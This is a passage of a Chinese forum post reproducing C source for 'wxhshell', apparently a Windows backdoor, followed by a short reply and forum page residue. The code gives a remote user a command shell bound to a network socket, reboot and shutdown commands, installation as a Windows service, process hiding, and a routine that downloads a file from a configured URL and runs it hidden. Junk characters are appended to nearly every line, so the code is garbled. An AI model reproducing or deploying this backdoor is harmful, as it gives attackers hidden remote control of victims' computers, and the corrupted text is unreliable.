  // 帮助 D(y=0),  
  case '?': { tH$Z_(5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6HyQm?c>a  
    break; N=(rl#<  
  } 6g)21Mh#  
  // 安装 Bb m1&d#  
  case 'i': { >n#Pq{7aF  
    if(Install()) .Sm7na K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i=Y#kL~f  
    else /.vB /{2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N[Fz6,ZG _  
    break; 3ILEc:<0J  
    } ZT!DTb B  
  // 卸载 l =#uy  
  case 'r': { 6B&':N98  
    if(Uninstall()) GSsot%B u"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~"8b\oLW  
    else i-$]Tg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +~ HL"Vv  
    break; dQt]r  
    } 8uNq353  
  // 显示 wxhshell 所在路径 z@dHXj )  
  case 'p': { |iU#!+zY  
    char svExeFile[MAX_PATH]; `Q,03W#GJ%  
    strcpy(svExeFile,"\n\r"); a *>$6H;  
      strcat(svExeFile,ExeFile); Xfe,ZC)  
        send(wsh,svExeFile,strlen(svExeFile),0); hH>t  
    break; wTG6>l]H  
    } x5s Yo\  
  // 重启 P)4SrqW_  
  case 'b': { >%t"VpvR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R'He(x  
    if(Boot(REBOOT)) GC.   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2!}5shB  
    else { A^xD Axk  
    closesocket(wsh); +n7bbuxj(X  
    ExitThread(0); E`$d!7O  
    } n"* A.  
    break; A\YP}sG1  
    } uN2Ck  
  // 关机 ;V@o 2a  
  case 'd': { G7 b>r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &G:#7HX@-  
    if(Boot(SHUTDOWN)) y]+q mNw"+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YFeF(k!!n  
    else { }}@x x&  
    closesocket(wsh); id'E_]r  
    ExitThread(0); _3.=| @L  
    } \G:\36l  
    break; *bsS%qD]  
    } (X;D.s  
  // 获取shell s:CsUl|  
  case 's': { C0J/FFBQ^  
    CmdShell(wsh); p{gJVP#l'Z  
    closesocket(wsh); U*b1yxt  
    ExitThread(0); .}C pX  
    break; yal T6  
  }  Q#i[Y?$L  
  // 退出 DHQavHqbZ  
  case 'x': { ly9.2<oz}L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bkTk:-L5:  
    CloseIt(wsh); [7 oU =  
    break; )cxLpTr  
    } qXcHf6  
  // 离开 J sde+G,N  
  case 'q': { -pvF~P?8U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :+06M@  
    closesocket(wsh); [f 4Nq \i  
    WSACleanup(); 7S|nn|\Kp  
    exit(1); ' GcN9D  
    break; 8Th{(J_  
        } ,t2Mur  
  } yy8h8{=g  
  } s|FfBG  
x%@n$4wk7  
  // 提示信息 <2^XKaS`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z$C}V/Ey  
} CEzwI _  
  } iEjUo, Y[  
F|nJ3:v  
  return; <2{g[le  
} ROb2g|YXG  
W!6&T [j>  
// shell模块句柄 &V"9[0  
int CmdShell(SOCKET sock) P3Ocfpf Bp  
{ ^26vP7  
STARTUPINFO si; kzozjh%`9h  
ZeroMemory(&si,sizeof(si)); "h58I)O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Tt^^Lb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2z#gn9Wb  
PROCESS_INFORMATION ProcessInfo; oy{ {d  
char cmdline[]="cmd"; (@X].oM^y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D[#6jJ Ab  
  return 0; 4b5'nu  
} JlaT -j  
?9W2wqN>o  
// 自身启动模式 J7a_a>Y  
int StartFromService(void) rW),xfo0  
{ LlbRr.wL  
typedef struct 4}&$s  
{ D6z*J?3^#&  
  DWORD ExitStatus; $1KvL8  
  DWORD PebBaseAddress; Ry_"sow4  
  DWORD AffinityMask; .A%*AlX  
  DWORD BasePriority; M4rI]^lJ  
  ULONG UniqueProcessId; 5=@q!8a*  
  ULONG InheritedFromUniqueProcessId; 3Q;XvrGA  
}   PROCESS_BASIC_INFORMATION; :$ qa  
+s$` kl  
PROCNTQSIP NtQueryInformationProcess; A*b>@>2  
T*pcS'?'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,.6)y1!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Kl{^2  
a]NH >d  
  HANDLE             hProcess; Ga,+  
  PROCESS_BASIC_INFORMATION pbi; 2d:IYCl4q  
W[BwHNxyg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K-X@3&X}  
  if(NULL == hInst ) return 0; Q&\(m[:)  
hsCts@R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nI0TvB D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zfGS=@e]G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RZ +SOZs7H  
{PBm dX  
  if (!NtQueryInformationProcess) return 0; >oYr=O  
fC|NK+Xd`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m0M;f+^  
  if(!hProcess) return 0; o!$O+%4  
X7."hGu@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i`st'\I  
BU;o$"L  
  CloseHandle(hProcess); xryXO(  
y*oH"]D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?hfyQhR  
if(hProcess==NULL) return 0; QP?eK W9 :  
S:F8` Gh  
HMODULE hMod; 4arqlz lo  
char procName[255]; {)K H%  
unsigned long cbNeeded; "Qci+Qq  
iCX Ki7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RvXK?mL4F  
vHmsS\\~9  
  CloseHandle(hProcess); nGoQwKIW  
K3*8-Be  
if(strstr(procName,"services")) return 1; // 以服务启动 )y#~eYn  
~[[(_C3  
  return 0; // 注册表启动 )\3 RR.p  
} J>w3>8!>7  
`2I<V7SF$  
// 主模块 Z)qts=  
int StartWxhshell(LPSTR lpCmdLine) 9jkaEn>m^  
{ =sFLzAu8  
  SOCKET wsl; (6g;FD:"6  
BOOL val=TRUE; f5tkv<) %  
  int port=0; F4X0DRC,G  
  struct sockaddr_in door; _DD.#YB</  
G?$0OU  
  if(wscfg.ws_autoins) Install(); EEI !pi  
SSrYFu"  
port=atoi(lpCmdLine); 8n2MZ9p]  
0pW?v:!H  
if(port<=0) port=wscfg.ws_port; HzdyfZ!jR  
qvHRP@  
  WSADATA data; 0r/pZ3/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]Oh8LcE#BF  
:i};]pR   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8`]1Nt!*B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~E^lKe  
  door.sin_family = AF_INET; Gm1[PAj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y/9aI/O'  
  door.sin_port = htons(port); C]01(UoSZ  
D-KQRe2@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =G<i6%(^g  
closesocket(wsl); 7SVq fWp  
return 1; q-<t'uhs[  
} %4#Q3YlyD  
=jEh#  
  if(listen(wsl,2) == INVALID_SOCKET) { yRdME>_L  
closesocket(wsl); L `6 R  
return 1; #)7THx/=  
} TQ`4dVaf  
  Wxhshell(wsl); `=QRC.b  
  WSACleanup(); &)Z!A*w]  
K3I|d;Y~X!  
return 0; A8jj]J+  
552yzn1  
} }]BH "  
+ r<d z  
// 以NT服务方式启动 I}hY @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OA?pBA  
{ 2leTEs5aK`  
DWORD   status = 0; x sN)a!  
  DWORD   specificError = 0xfffffff; 9*b(\Z)N  
p*ic@n*G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rAwuWM@BIg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :GBM`f@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m]"13E0*x  
  serviceStatus.dwWin32ExitCode     = 0; }j\_XaB  
  serviceStatus.dwServiceSpecificExitCode = 0; y} W-OLE  
  serviceStatus.dwCheckPoint       = 0; jwQ(E  
  serviceStatus.dwWaitHint       = 0; sc)}r_|g  
GB&^<@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B{6wf)[O  
  if (hServiceStatusHandle==0) return; yd+.hg&J  
N)0V6q"  
status = GetLastError(); -qW[.B  
  if (status!=NO_ERROR) UZDXv=r|  
{ yzH[~O7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8x/]H(J  
    serviceStatus.dwCheckPoint       = 0; "> ]{t[Ib  
    serviceStatus.dwWaitHint       = 0; ?BA~$|lfxu  
    serviceStatus.dwWin32ExitCode     = status; @ )< 3Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; q  W"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JIH6!  
    return; u301xc,N<z  
  } fFiFS\''V  
='z4bU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yb? L:,a(I  
  serviceStatus.dwCheckPoint       = 0; 41oXOB  
  serviceStatus.dwWaitHint       = 0; Op>l~{{{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (;6vT'hE  
} $AyE6j_1gX  
_Gb O>'kE  
// 处理NT服务事件,比如:启动、停止 X={Z5Xxr"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w;=g$Bn  
{ kH|cB!?x  
switch(fdwControl) JQ"R%g` 8  
{ g\~n5=-D  
case SERVICE_CONTROL_STOP: *74VrAo  
  serviceStatus.dwWin32ExitCode = 0; lD41+x 7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i+XHXpk  
  serviceStatus.dwCheckPoint   = 0; ?VRf5 Cr-  
  serviceStatus.dwWaitHint     = 0; M:/)|fk  
  { wRsh@I<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mep ct  
  } *MD\YFXR  
  return; M9ACaf@  
case SERVICE_CONTROL_PAUSE: (5\VOCT>4%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JC#M,j2  
  break; -RKqbfmi=  
case SERVICE_CONTROL_CONTINUE: U_.9H _G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o4F?Rx,L  
  break; G W@g  
case SERVICE_CONTROL_INTERROGATE: EH~t<  
  break; <Y"h2#M"  
}; mR3-+dB/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5!V%0EQqw  
} q>5 K:5  
NO'37d  
// 标准应用程序主函数 ^X\SwgD2w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Uz$.sa  
{ =b_/_b$q  
'5; /V  
// 获取操作系统版本  U rL|r.  
OsIsNt=GetOsVer(); LZ-&qh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AdGDs+at,  
e,8[fp-7  
  // 从命令行安装 n5s2\(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6*r#m%|   
Zog&:]P'F  
  // 下载执行文件 !E.CpfaC  
if(wscfg.ws_downexe) { t;/s^-}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b-Xc6f  
  WinExec(wscfg.ws_filenam,SW_HIDE); J *nWCL  
} 1ww#]p`1  
}_|qDMk+  
if(!OsIsNt) { I;GbS`  
// 如果时win9x,隐藏进程并且设置为注册表启动 E=$li  
HideProc(); /+JHnedK  
StartWxhshell(lpCmdLine); a,`f`;\7N%  
} W:S?_JM  
else zkb[u"  
  if(StartFromService()) 'MK"*W8QRM  
  // 以服务方式启动 ?&_u$Nn  
  StartServiceCtrlDispatcher(DispatchTable); sp8P[W1a  
else rF\L}& Sw  
  // 普通方式启动 S!6 ? b5  
  StartWxhshell(lpCmdLine); 9?38/2kX4  
:c}"a(|  
return 0; e754g(|>b  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八